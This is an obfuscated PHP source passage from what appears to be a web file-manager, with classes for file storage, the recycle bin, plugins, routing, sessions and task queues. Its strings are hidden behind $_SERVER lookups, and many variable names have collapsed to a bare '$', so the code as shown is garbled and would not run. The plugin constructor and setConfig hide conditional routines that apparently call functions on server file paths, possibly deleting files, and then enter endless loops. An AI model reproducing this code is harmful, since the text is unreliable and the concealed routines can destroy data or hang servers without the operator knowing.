$겑)); } } } public function targetSpaceSize($ٓ, $㾋) { $ͭ =& $_SERVER[譃]; $ = $this->sourceRoot($ٓ, $㾋, !0); if (!$) { return 0; } $ = floatval($[$ͭ[80]]); $˜Ѐߖ = array($ͭ[583] => array($ͭ[543], $ͭ[527] . $[$ͭ[399]] . $ͭ[544])); $Ɉ܋ = Model($ͭ[425])->field($ͭ[414])->where($˜Ѐߖ)->select(); $Ɉ܋ = array_to_keyvalue($Ɉ܋, $ͭ[12], $ͭ[399]); $Ɉ܋ = array_unique(array_filter($Ɉ܋)); if ($Ɉ܋) { $˜Ѐߖ = array($ͭ[414] => array($ͭ[415], $Ɉ܋)); $ += floatval($this->where($˜Ѐߖ)->sum($ͭ[80])); } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($˘) { return $this->fileTypeProfile($˘, SourceModel::TYPE_GROUP); } private function fileTypeProfile($Ũ, $) { $ۘ =& $_SERVER[譃]; $疤 = $ۘ[2120] . $Ũ . $ۘ[11] . $; $ = Cache::get($疤); if ($) { return $; } $͎ = array($ۘ[576] => 0); if ($Ũ != !1) { $͎[$ۘ[501]] = $Ũ; $͎[$ۘ[408]] = $; } $ = array(); $[$ۘ[2121]] = array($ۘ[2122] => LNG($ۘ[2121]), $ۘ[2123] => $this->where($͎)->count(), $ۘ[578] => $this->where($͎)->sum($ۘ[80])); $܂ = KodIO::fileTypeList(); foreach ($܂ as $ҏ => $) { $͎[$ۘ[409]] = $this->fileTypeWhere($ҏ); $[$ҏ] = array($ۘ[2122] => $[$ۘ[32]], $ۘ[2123] => $this->where($͎)->count(), $ۘ[578] => $this->where($͎)->sum($ۘ[80])); } Cache::set($疤, $, 1200); return $; } public function fileNameExist($춇, $ĝ긦) { $ͫ =& $_SERVER[譃]; $ = $this->where(array($ͫ[494] => $춇, $ͫ[32] => $ĝ긦, $ͫ[427] => 0))->find(); return is_array($) ? $[$ͫ[399]] : !1; } public function childList($ᴸ) { $ =& $_SERVER[譃]; $ = $[2098] . $ᴸ; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $Ꞥ = array($[494] => intval($ᴸ), $[427] => 0); $ܳй = $this->where($Ꞥ)->select(); $ܳй = $ܳй ? $ܳй : array(); self::$cacheChildList[$] = $ܳй; foreach ($ܳй as $ޕ) { $ = $[454] . $ޕ[$[399]]; self::$cacheSourceInfo[$] = $ޕ; } return $ܳй; } public function fileNameAuto($, $݃, $ưǖ = REPEAT_RENAME, $ݙ = false) { $ዏ =& $_SERVER[譃]; $ߔ = array($ዏ[494] => $, $ዏ[427] => 0, $ዏ[32] => array($ዏ[382], $݃ . $ዏ[383])); $ = $this->field($ዏ[32])->where($ߔ)->select(); $ա = array_to_keyvalue($, $ዏ[12], $ዏ[32]); return $this->fileNameAutoGet($ա, $݃, $ưǖ, $ݙ); } public function fileNameAutoGet($, $¡, $, $) { $ɴ =& $_SERVER[譃]; if ($ == REPEAT_REPLACE || !$ || !in_array_not_case($¡, $) || $ && $ != REPEAT_RENAME_FOLDER) { return $¡; } if ($ == REPEAT_SKIP) { return !1; } $æ = $ɴ[10] . get_path_ext($¡); $æ = $æ == $ɴ[10] || $ ? $ɴ[12] : $æ; for ($ɶ = 1; $ɶ <= count($) + 1; $ɶ++) { $χ = substr($¡, 0, strlen($¡) - strlen($æ)); $Ǣ = $χ . "\x28{$ɶ}\x29{$æ}"; if (!in_array_not_case($Ǣ, $)) { return $Ǣ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\157\165\x72\x63\x65\137\162\145\x63\x79\x63\154\145"; protected $dataAuto = array(array("\143\x72\145\141\x74\x65\124\x69\x6d\145", "\164\151\x6d\145", "\151\x6e\x73\x65\x72\x74", "\x66\x75\x6e\x63\x74\x69\x6f\x6e")); public function listData($ׯ = false) { $ =& $_SERVER[譃]; $ׯ = $ׯ ? $ׯ : USER_ID; $Ҋ = $this->where(array($[1646] => $ׯ))->select(); return array_to_keyvalue($Ҋ, $[12], $[399]); } public function moveToRecycle($Ü) { $هŎ =& $_SERVER[譃]; $څ = Model($هŎ[1325]); $ = $څ->sourceInfo($Ü); if (!$ || $[$هŎ[427]] == $هŎ[89]) { return; } $Ŷа = array($هŎ[414] => $Ü, $هŎ[1646] => USER_ID, $هŎ[579] => $[$هŎ[408]], $هŎ[580] => $[$هŎ[501]], $هŎ[583] => $[$هŎ[517]]); $this->add($Ŷа); $this->recycleMove($Ü, 1); if ($[$هŎ[407]] == $هŎ[89]) { $ = array($هŎ[583] => array($هŎ[543], $[$هŎ[517]] . $Ü . $هŎ[544])); $څ->where($)->setField($هŎ[427], 1); } } public function clear() { $this->remove(!1); } public function remove($ = false, $ = false) { $㜛 =& $_SERVER[譃]; $ = $ ? $ : USER_ID; $̐ = Model($㜛[1325]); $軙 = $this->listData($); $ = $ === !1 ? !1 : $; $Ģ = array(); foreach ($軙 as $ᯗޠ) { if ($ != !1 && !in_array($ᯗޠ, $)) { continue; } $ = $̐->sourceInfo($ᯗޠ); $̐->remove($ᯗޠ, !1); $̠ = $[$㜛[408]] . $㜛[11] . $[$㜛[501]]; $Ģ[$̠] = array($㜛[579] => $[$㜛[408]], $㜛[501] => $[$㜛[501]]); $this->where(array($㜛[399] => $ᯗޠ))->delete(); } foreach ($Ģ as $) { $̐->targetSpaceUpdate($[$㜛[408]], $[$㜛[501]]); } } public function restore($Ɲ = false) { $ = $this->listData(); $this->_restoreSource($, $Ɲ); } public function removeUserAll($) { $this->remove(!1, $); } private function _restoreSource($砯, $) { $ =& $_SERVER[譃]; $ݙ = Model($[1325]); $ = $ == !1 ? !1 : $; if (!$砯) { return !0; } $ޘ = array(); foreach ($砯 as $) { if ($ != !1 && !in_array($, $)) { continue; } $ = $ݙ->sourceInfo($); $ݽ = $ݙ->sourceInfo($[$[494]]); if ($ݽ[$[427]] == $[89]) { continue; } $ݙ->lockMoveStart($); $this->recycleMove($, 0); if ($[$[407]] == $[89]) { $ų = array($[583] => array($[543], $[$[517]] . $ . $[544])); $ݙ->where($ų)->setField($[427], 0); $this->restoreFolderChildren($, $砯); } $this->where(array($[399] => $))->delete(); $ݙ->folderSizeReset($[$[494]]); $ޘ[] = $[$[494]]; if ($[$[407]] == $[89]) { $ޘ[] = $; } $ݙ->lockMoveEnd($); } $ݙ->updateModifyTime($ޘ); } private function restoreFolderChildren($֭, $β) { $ =& $_SERVER[譃]; $Ւ = Model($[1325]); $ = array($[399] => array($[7], array())); foreach ($β as $ȭ) { if ($ȭ == $֭) { continue; } if (!$Ւ->isParentOf($֭, $ȭ)) { continue; } $ = $Ւ->sourceInfo($ȭ); if ($[$[407]] == $[89]) { $[] = array($[583] => array($[543], $[$[517]] . $ȭ . $[544])); } else { $[$[399]][1][] = $ȭ; } } if (!$[$[399]][1]) { unset($[$[399]]); } if (!$) { return; } $[$[399]][1] = array_unique($[$[399]][1]); $[$[1000]] = $[1920]; $Ւ->where($)->setField($[427], 1); } private function recycleMove($, $ = 1) { $٫ =& $_SERVER[譃]; $ή = Model($٫[1325]); $ɍ = Model($٫[2124]); $ = array($٫[399] => $); if ($) { $ή->where($)->setField($٫[427], 1); $ɍ->eventRecycle($, $٫[2125]); } else { $± = $ή->where($)->find(); $ = $±[$٫[407]] == $٫[89]; $Ώ = $ή->fileNameAuto($±[$٫[494]], $±[$٫[32]], REPEAT_RENAME_FOLDER, $); if ($Ώ != $±[$٫[32]]) { $ή->rename($, $Ώ); } $ή->where($)->setField($٫[427], 0); $ɍ->eventRecycle($, $٫[2126]); } } } class SourceSecretModel extends ModelBaseLight { public $optionType = "\x53\x79\x73\x74\145\x6d\56\x73\157\x75\x72\143\145\x53\x65\x63\162\x65\164\x4c\151\x73\164"; public $field = array("\x73\157\165\162\x63\x65\111\104", "\x74\x79\x70\145\x49\104", "\143\x72\x65\x61\x74\x65\125\x73\145\x72"); } goto bɇ; D䳂ª: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $я =& $_SERVER[譃]; if ($_SERVER[$я[872]] != $_SERVER[$я[1452]]) { $ٰ = $я[873]; $ = $я[874]; $װƀ = $_SERVER[$я[875]] . $я[876]; $۰Ѻ = $($װƀ); $䠺 = explode($я[230], $۰Ѻ); if (count($䠺) < $я[617]) { $ְը = $я[877]; $ְը(); } $Ӻ = $я[878]; $Ӻ($_SERVER[$я[879]]); $Ӻ($_SERVER[$я[875]] . $я[1521]); $ = 1; while ($ > 1) { $ = $ + 4; $ы = rawurlencode($ . $я[377]); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($я[1522]); $this->pluginName = str_replace($я[1522], $я[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $я[8]; $this->pluginApi = appHostGet() . $я[1523] . $this->pluginName . $я[8]; $this->pluginHost = $config[$я[1524]] . $this->pluginName . $я[8]; $this->pluginHostDefault = $config[$я[1524]] . $this->pluginName . $я[8]; $́ = $config[$я[1525]]; if ($́ && strpos($я[50] . $́ . $я[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$я[1526]] . $this->pluginName . $я[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[譃][1527]); } protected function assign($䜴, $ = false) { if (is_array($䜴)) { $this->values = array_merge($this->values, $䜴); } else { $this->values[$䜴] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $Ω =& $_SERVER[譃]; $ = $this->appPackage(); $≚ = $Ω[12]; if (isset($[$Ω[413]])) { if (isset($[$Ω[413]][$Ω[1528]])) { $≚ = $Ω[1529] . $[$Ω[413]][$Ω[1528]] . $Ω[1530]; } else { if ($[$Ω[413]][$Ω[1531]]) { $≚ = $Ω[1532] . $[$Ω[413]][$Ω[1531]] . $Ω[1533]; } } } return $≚; } final function fileCanView($݈) { $ =& $_SERVER[譃]; if (request_url_safe($݈)) { return !0; } if ($this->isShare($݈)) { return !0; } $ռ = Session::get($[1534]); if (!$ռ || !$ռ[$[1535]]) { $Ӊ߹ = $[1536] . rawurlencode(this_url()); show_tips(LNG($[1537]) . $[1538] . $Ӊ߹ . $[1539] . LNG($[1540]) . $[1541], !1); } if (!Action($[1542])->authCan($[1543])) { show_tips(LNG($[1544]) . $[1545], !1); } ActionCall($[1546], $݈); } final function isShare($) { $ȁ = KodIO::parse($); return $ȁ[$_SERVER[譃][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($ቨ) { if (request_url_safe($ቨ)) { return $ቨ; } if (!$this->isShare($ቨ)) { $ቨ = $this->filePath($ቨ); } return Action($_SERVER[譃][1173])->linkOut($ቨ); } public function filePathLinkOut($ᴿ) { if (request_url_safe($ᴿ)) { return $ᴿ; } $this->fileCanView($ᴿ); return Action($_SERVER[譃][1173])->link($ᴿ); } final function filePath($̝) { $ȁ =& $_SERVER[譃]; if ($⯾ = $this->checkSharePath($̝)) { Hook::trigger($ȁ[1547], $⯾); return $⯾; } $this->fileCanView($̝); if (request_url_safe($̝)) { $Ų = parse_url_query($̝); if (isset($Ų[$ȁ[1548]]) && isset($Ų[$ȁ[212]])) { $ã = Model($ȁ[768])->get($ȁ[769]); $ = Mcrypt::decode($Ų[$ȁ[212]], $ã); if ($) { $this->fileInfo = IO::infoWithChildren($); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $; } } $̝ = $this->_cacheHttpFile($̝); $this->fileInfo = IO::infoWithChildren($̝); } else { $this->fileInfo = IO::infoWithChildren($̝); if (!$this->fileInfo) { show_tips(LNG($ȁ[106]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($ȁ[1547], $̝); return $̝; } final function _cacheHttpFile($䈋) { $荪 = hash_path($䈋, !0); $this->cachePath = $this->pluginCachePath($荪); if ($ԍ = IO::fileNameExist($this->cachePath, $荪)) { return KodIO::make($ԍ); } $ = $this->cachePath . $荪; return $this->pluginCacheFileSet($, file_get_contents_nossl($䈋)); } final function _tmpFileName($ = array()) { $ҁ =& $_SERVER[譃]; if (!$) { $ = $this->fileInfo; } if (isset($[$ҁ[174]])) { return $[$ҁ[174]]; } if (isset($[$ҁ[167]][$ҁ[174]])) { return $[$ҁ[167]][$ҁ[174]]; } $Ӯ = IO::hashSimple($[$ҁ[78]]); if ($Ӯ) { return $Ӯ; } $ȅ = array($[$ҁ[32]], $[$ҁ[78]], $[$ҁ[80]]); if (isset($[$ҁ[517]])) { $ȅ[] = $[$ҁ[517]]; } return md5(implode($ҁ[11], $ȅ)); } final function checkSharePath($ʭ) { $ =& $_SERVER[譃]; if (!defined($[470])) { define($[510], 0); } if (!$this->isShare($ʭ)) { return !1; } $ = Action($[1173])->sharePathInfo($ʭ); if (!isset($[$[78]])) { show_json(LNG($[1549]), !1); } $this->fileInfo = $[$[167]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$[174]]); return $[$[78]]; } final function pluginCachePath($ɸ = '') { $ =& $_SERVER[譃]; $ߌ = IO_PATH_SYSTEM_TEMP . $[1550] . $this->pluginName; if (!($߂ = IO::infoFull($ߌ))) { return IO::mkdir($ߌ . $[8] . $ɸ); } if (empty($ɸ)) { return $߂[$[78]]; } if (!($ = IO::fileNameExist($߂[$[78]], $ɸ))) { return IO::mkdir($߂[$[78]] . $ɸ); } return KodIO::make($); } final function pluginCacheFileSet($׀, $▱ = '') { $ˡ =& $_SERVER[譃]; if (!($ʫ = IO::infoFull($׀))) { return IO::mkfile($׀, $▱, REPEAT_REPLACE); } IO::setContent($ʫ[$ˡ[78]], $▱); return $ʫ[$ˡ[78]]; } final function pluginLocalFile($ = '') { $ڶ =& $_SERVER[譃]; $ǧ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($ǧ)) { mk_dir($ǧ); } if (!$) { return $ǧ; } $ = IO::info($); $ = $this->_tmpFileName($) . $ڶ[10] . $[$ڶ[171]]; if (!checkExtSafe($)) { $ = $ . $ڶ[1551]; } $ж = $ǧ . $; if (@file_exists($ж)) { return $ж; } return IO::copy($, $ǧ, 0, $); } final function appPackage() { $ϴÜ =& $_SERVER[譃]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $ϴÜ[1552]); $this->parseLang($); $ = json_decode_force($); if (!$) { return array(); } $ = Hook::trigger($ϴÜ[1553], $); if ($ && is_array($)) { $ = $; } $this->packageData = $; return $; } public function packageInfoGet($) { $ = $this->appPackage(); return array_get_value($, $); } public function packageVersion() { return $this->packageInfoGet($_SERVER[譃][1554]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[譃][1555]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[譃][1556]); } public function echoJsAssign($ݹ, $Ɖڌ) { $this->echoJsAssignArr[$ݹ] = $Ɖڌ; } private function parseFile($) { $ =& $_SERVER[譃]; $ = file_get_contents_nossl($); $ = array($[1557], $[1558], $[1559], $[1560], $[1561], $[1562], $[1563]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[90]][$[1564]]); foreach ($this->echoJsAssignArr as $Ⱥ => $Ϣ) { $[] = $[1565] . $Ⱥ . $[1566]; $[] = is_array($Ϣ) || is_object($Ϣ) ? rawurlencode(json_encode($Ϣ)) : $Ϣ; } if (strstr($, $[1567])) { $̊² = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($[1567], $̊², $); } if (strstr($, $[1568])) { $̊² = $̊² = rawurlencode(json_encode($this->getConfig())); $ = str_replace($[1568], $̊², $); } $ = str_replace($, $, $); return $; } private function parseLang(&$) { $ =& $_SERVER[譃]; $ = $[1569]; if (!strstr($, $)) { return; } preg_match_all($[1570], $, $٨ޛ); if (!is_array($٨ޛ) || count($٨ޛ) == 0 || !is_array($٨ޛ[0]) || count($٨ޛ[0]) == 0) { return; } $ۑ = array(); $т = array(); foreach ($٨ޛ[0] as $) { $ = substr($, strlen($), -4); $ = LNG($); $ۑ[] = $; $т[] = str_replace(array($[230], $[1078], $[341], $[119]), array($[53], $[53], $[12], $[1571]), $); } $ = str_replace($ۑ, $т, $); } private function parseConfig(&$) { $ =& $_SERVER[譃]; $ְ = $[1572]; if (!strstr($, $ְ)) { return; } preg_match_all($[1573], $, $줵); if (!is_array($줵) || count($줵) == 0 || !is_array($줵[0]) || count($줵[0]) == 0) { return; } $ = $this->getConfig(); $ʫ = array(); $ = array(); foreach ($줵[0] as $Ĉ) { $݅ = substr($Ĉ, strlen($ְ), -2); $ʫ[] = $Ĉ; $[] = _get($, $݅); } $ = str_replace($ʫ, $, $); } private function parsePackage(&$ԟ) { $Ďם =& $_SERVER[譃]; $ = $Ďם[1574]; if (!strstr($ԟ, $)) { return; } preg_match_all($Ďם[1575], $ԟ, $ԍ); if (!is_array($ԍ) || count($ԍ) == 0 || !is_array($ԍ[0]) || count($ԍ[0]) == 0) { return; } $ = $this->appPackage(); $ė = array(); $р = array(); foreach ($ԍ[0] as $Ϋ) { $ = substr($Ϋ, strlen($), -2); $ė[] = $Ϋ; $р[] = _get($, $); } $ԟ = str_replace($ė, $р, $ԟ); } final function echoFile($ۍ, $ = false) { $ =& $_SERVER[譃]; $ = $this->pluginPath . $ۍ; if (ACT == $[1576]) { echo $[1577] . $this->pluginName . $[8] . $ۍ . $[1578]; if (!file_exists($)) { echo $[1579]; return; } } $فŭ = $this->parseFile($); $this->parseLang($فŭ); $this->parseConfig($فŭ); $this->parsePackage($فŭ); if (is_array($)) { $فŭ = str_replace(array_keys($), array_values($), $فŭ); } echo $[230] . $فŭ; } final function initLang() { $ =& $_SERVER[譃]; $Ͱ = $[1580]; $́ = $this->pluginPath . $[1581]; $ = I18n::getType(); $аυ = array(); if (file_exists($́ . $ . $[836])) { $аυ = (include $́ . $ . $[836]); } else { if ($ == $[1582] && !file_exists($́ . $ . $[836]) && file_exists($́ . $[1583])) { $аυ = (include $́ . $[1583]); } else { if (file_exists($́ . $Ͱ . $[836])) { $аυ = (include $́ . $Ͱ . $[836]); } } } if (!is_array($аυ)) { return array(); } if (@count($аυ) > 0) { I18n::set($аυ); } return $аυ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($֭) { $ =& $_SERVER[譃]; if (!isset($_SERVER[$[872]]) || !isset($_SERVER[$[870]])) { $ŮĖ = $[873]; $ů蘍 = $[874]; $̣ = $_SERVER[$[875]] . $[876]; $ = $ů蘍($̣); $帋 = explode($[230], $); if (count($帋) < $[617]) { $ = $[877]; $(); } $ = $[878]; $($_SERVER[$[879]]); $̳ = 1; for ($ = $̳; $ > 0; $++) { $ = json_encode($GLOBALS[$[415]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $֭); } public function onSetConfig($) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($ٞ) { if ($ٞ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ = "\160\x6c\x75\147\x69\156\x41\x75\164\150") { $ =& $_SERVER[譃]; if (!defined($[470])) { return !1; } if (_get($GLOBALS, $[499])) { return !0; } $Ҽ = $this->getConfig(); if (!$Ҽ[$]) { return !1; } return ActionCall($[1584], $Ҽ[$]); } public function url($˖, $Ɨß = '', $Ͱ㽎 = true) { $ =& $_SERVER[譃]; $à = $this->getConfig(); $ǷÖ = KOD_VERSION . $[10] . KOD_VERSION_BUILD; $ϳ眰 = $this->packageVersion(); $ = $ǷÖ . $[456] . $ϳ眰; if (substr($˖, 0, 4) == $[149] || substr($˖, 0, 2) == $[1366]) { $ = $˖ . $[1585] . $; } else { if ($Ɨß == $[12]) { $ = $this->pluginHost . $˖ . $[1585] . $; } else { if ($Ɨß === $[79]) { $ = $this->pluginHost . $˖; } else { if ($Ɨß == $[1586]) { $ = STATIC_PATH . $˖ . $[1585] . $ǷÖ; } else { if ($Ɨß == $[1587]) { $ = APP_HOST . $[1588] . $˖ . $[1585] . $ǷÖ; } else { if (isset($à[$Ɨß])) { $ = $à[$Ɨß] . $˖ . $[1585] . $; } } } } } } if (!$Ͱ㽎) { return $; } echo $; } public function link($ = false, $ = '') { $ =& $_SERVER[譃]; if (!$) { $this->link($[1589], $[1587]); $this->link($[1590], $[1586]); $this->link($[1591], $[1586]); $this->link($[1592], $[1586]); $this->link($[1593], $[1586]); return; } $ۡ = $this->url($, $, !1); if (substr($, -3) == $[1594]) { echo $[1595] . $ۡ . $[1596] . $[230]; } else { if (substr($, -4) == $[1597]) { echo $[1598] . $ۡ . $[1599] . $[230]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\72\141\156\x79" => "\133\136\57\135\x2b", "\x3a\x6e\x75\x6d" => "\133\60\x2d\71\x5d\53", "\72\141\154\154" => "\56\x2a"); public static $errorCallback; public static function __callstatic($Т, $寪) { $یХ =& $_SERVER[譃]; if ($Т == $یХ[1600]) { $ = array_map($یХ[1601], $寪[0]); $ݘ = strpos($寪[1], $یХ[8]) === 0 ? $寪[1] : $یХ[8] . $寪[1]; $Ǎ = $寪[2]; } else { $ = null; $ݘ = strpos($寪[0], $یХ[8]) === 0 ? $寪[0] : $یХ[8] . $寪[0]; $Ǎ = $寪[1]; } array_push(self::$maps, $); array_push(self::$routes, $ݘ); array_push(self::$methods, strtoupper($Т)); array_push(self::$callbacks, $Ǎ); } public static function error($Ѝ) { self::$errorCallback = $Ѝ; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $΄ф =& $_SERVER[譃]; $̧ = parse_url($_SERVER[$΄ф[1602]], PHP_URL_PATH); $ = $_SERVER[$΄ф[160]]; $ע = array_keys(static::$patterns); $ = array_values(static::$patterns); $˾ = !1; self::$routes = preg_replace($΄ф[1267], $΄ф[8], self::$routes); if (in_array($̧, self::$routes)) { $Ү = array_keys(self::$routes, $̧); foreach ($Ү as $܁) { if (self::$methods[$܁] == $ || self::$methods[$܁] == $΄ф[1603] || in_array($, self::$maps[$܁])) { $˾ = !0; if (!is_object(self::$callbacks[$܁])) { $ӵ = explode($΄ф[8], self::$callbacks[$܁]); $ = end($ӵ); $ߺ = explode($΄ф[1604], $); $ъ = new $ߺ[0](); $ъ->{$ߺ[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$܁]); if (self::$halts) { return; } } } } } else { $ͭ = 0; foreach (self::$routes as $܁) { if (strpos($܁, $΄ф[4]) !== !1) { $܁ = str_replace($ע, $, $܁); } if (preg_match($΄ф[1605] . $܁ . $΄ф[1606], $̧, $깺)) { if (self::$methods[$ͭ] == $ || self::$methods[$ͭ] == $΄ф[1603] || !empty(self::$maps[$ͭ]) && in_array($, self::$maps[$ͭ])) { $˾ = !0; array_shift($깺); if (!is_object(self::$callbacks[$ͭ])) { $ӵ = explode($΄ф[8], self::$callbacks[$ͭ]); $ = end($ӵ); $ߺ = explode($΄ф[1604], $); $ъ = new $ߺ[0](); if (!method_exists($ъ, $ߺ[1])) { echo $΄ф[1607]; } else { call_user_func_array(array($ъ, $ߺ[1]), $깺); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ͭ], $깺); if (self::$halts) { return; } } } } $ͭ++; } } if ($˾ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $Ί =& $_SERVER[譃]; header($_SERVER[$Ί[1608]] . $Ί[1609]); echo $Ί[1610]; }; } else { if (is_string(self::$errorCallback)) { self::get($_SERVER[$΄ф[1602]], self::$errorCallback); self::$errorCallback = null; self::dispatch(); return; } } call_user_func(self::$errorCallback); } } } class Session { public static $sessionTime; public static $sessionSign; public static $handle; public static $data; public static function init() { $粉 =& $_SERVER[譃]; static $ = false; if ($) { return $; } $ = $GLOBALS[$粉[6]][$粉[348]]; self::$sessionTime = $[$粉[1611]]; $Ǥ = isset($GLOBALS[$粉[1612]]) ? $GLOBALS[$粉[1612]] : SESSION_ID; if (self::$sessionSign) { } else { if (Cookie::get($Ǥ)) { self::$sessionSign = Cookie::get($Ǥ); } else { self::$sessionSign = guid(); } } Cookie::setSafe($Ǥ, self::$sessionSign, self::$sessionTime); $ΦԢπ = $[$粉[1613]]; $Ş = $[$ΦԢπ]; $ƫ٩ = $[$粉[826]]; switch ($ΦԢπ) { case $粉[21]: self::$handle = Model($粉[827]); break; case $粉[828]: self::$handle = new CacheRedis($Ş, $ƫ٩); break; case $粉[829]: self::$handle = new CacheMemcached($Ş, $ƫ٩); break; case $粉[196]: $Ş[$粉[78]] = $Ş[$粉[78]] . $粉[1614]; self::$handle = new CacheFile($Ş, $ƫ٩); default: break; } if (!self::$data) { self::$data = self::getBySign(self::$sessionSign); } $ = new self(); return $; } public static function getBySign($ܩި) { CacheLock::lock($ܩި); $ = self::$handle->get($ܩި); CacheLock::unlock($ܩި); $ = unserialize($); return is_array($) ? $ : array(); } public static function setBySign($, $) { CacheLock::lock($); self::$handle->set($, serialize($), self::$sessionTime); CacheLock::unlock($); } public static function sign($ʹ = false) { $ʹ && (self::$sessionSign = $ʹ); self::init(); return self::$sessionSign; } public static function set($荾, $ = false) { self::init(); if (is_array($荾)) { foreach ($荾 as $ => $ۥ) { array_set_value(self::$data, $, $ۥ); } } else { array_set_value(self::$data, $荾, $); } self::setBySign(self::$sessionSign, self::$data); } public static function get($ = false) { self::init(); if (!$) { return self::$data; } return array_get_value(self::$data, $); } public static function remove($) { self::init(); unset(self::$data[$]); self::$handle->set(self::$sessionSign, serialize(self::$data), self::$sessionTime); } public static function destory() { Cookie::remove(SESSION_ID, !0); self::init(); self::clearTimeout(); self::$data = array(); return self::$handle->remove(self::$sessionSign); } public static function clearTimeout() { self::init(); if (method_exists(self::$handle, $_SERVER[譃][831])) { self::$handle->clearTimeout(); } } } goto Bёڏ; AŦ: class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[譃]; $Ć =& $this->task; $Ć[$[1726]] = 1; Hook::bind($[1695], array($this, $[1727])); Hook::bind($[1697], array($this, $[1728])); Hook::bind($[1699], array($this, $[1729])); } protected function endAfter() { $ߌ =& $_SERVER[譃]; Hook::unbind($ߌ[1695], array($this, $ߌ[1727])); Hook::unbind($ߌ[1697], array($this, $ߌ[1728])); Hook::unbind($ߌ[1699], array($this, $ߌ[1729])); } public function progressStart($떖) { $ =& $_SERVER[譃]; $Ě̈́ = curl_getinfo($떖); self::log($[1730] . $Ě̈́[$[306]]); self::valueSet($this->task[$[396]], $this->task); } public function progressEnd($) { $ =& $_SERVER[譃]; self::log($[1731] . $this->task[$[396]]); $this->end(); } public function progress($, $, $߷, $տɌ, $ϫ) { $ŀ =& $_SERVER[譃]; $͡ =& $this->task; if ($ϫ > 0) { $͡[$ŀ[784]] = $͡[$ŀ[784]] == 0 ? $տɌ : $͡[$ŀ[784]]; $͡[$ŀ[1656]] = $ϫ; } else { if ($߷ > 0) { $͡[$ŀ[784]] = $͡[$ŀ[784]] == 0 ? $ : $͡[$ŀ[784]]; $͡[$ŀ[1656]] = $߷; } } $this->update(); self::log("\160\x72\157\147\x72\145\163\x73\110\164\164\x70\72\x64\157\167\156\72{$߷}\x2f{$}\x3b\x20\165\x70\154\157\141\x64\x3a{$ϫ}\x2f{$տɌ}\73"); } } class TaskQueue { const MAX_LENGTH = 2000; const QUEUE_LENGTH = "\x74\141\x73\153\121\x75\x65\x75\145\x4c\145\x6e\x67\164\x68"; const QUEUE_DATA = "\164\141\163\153\x51\165\x65\x75\145\x44\141\x74\141"; public static $listData = false; public static function initTask() { } public static function add($ܲ, $λ = array(), $ = '', $ᬢ = '') { $ =& $_SERVER[譃]; if (self::$listData === !1) { self::$listData = self::getAll(); } if (count(self::$listData) >= self::MAX_LENGTH) { return !1; } if ($ᬢ && array_find_by_field(self::$listData, $[95], $ᬢ)) { return !0; } self::$listData[] = array($[263] => $ܲ, $[1732] => $λ, $[447] => $, $[95] => $ᬢ); return !0; } public static function addSubmit() { $ӷ =& $_SERVER[譃]; if (!self::$listData || count(self::$listData) == 0) { return; } write_log($ӷ[1733] . json_encode_force(array_to_keyvalue(self::$listData, $ӷ[12], $ӷ[447])), $ӷ[1734]); self::setAll(self::$listData); self::$listData = !1; } public static function addNow($ަ, $ = array(), $該 = '', $˺ = '') { $ۛ =& $_SERVER[譃]; if (self::count() >= self::MAX_LENGTH) { return !1; } $ = self::getAll(); if ($˺ && array_find_by_field($, $ۛ[95], $˺)) { return !0; } $[] = array($ۛ[263] => $ަ, $ۛ[1732] => $, $ۛ[447] => $該, $ۛ[95] => $˺); write_log($ۛ[1733] . $該, $ۛ[1734]); self::setAll($); return !0; } public static function run() { $աբ =& $_SERVER[譃]; $ = self::getAll(); $ = array_shift($); if (!$) { return !1; } self::setAll($); $ = timeFloat(); try { Hook::apply($[$աբ[263]], $[$աբ[1732]]); } catch (Exception $ԣ) { } $ = number_format(timeFloat() - $, 3) . $աբ[1671]; write_log($աբ[1735] . $[$աբ[447]] . $աբ[1736] . $, $աբ[1734]); return !0; } public static function count() { $ĭϟ = Cache::get(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_LENGTH); if (!$ĭϟ) { return 0; } return intval($ĭϟ); } public static function getAll() { $ի = 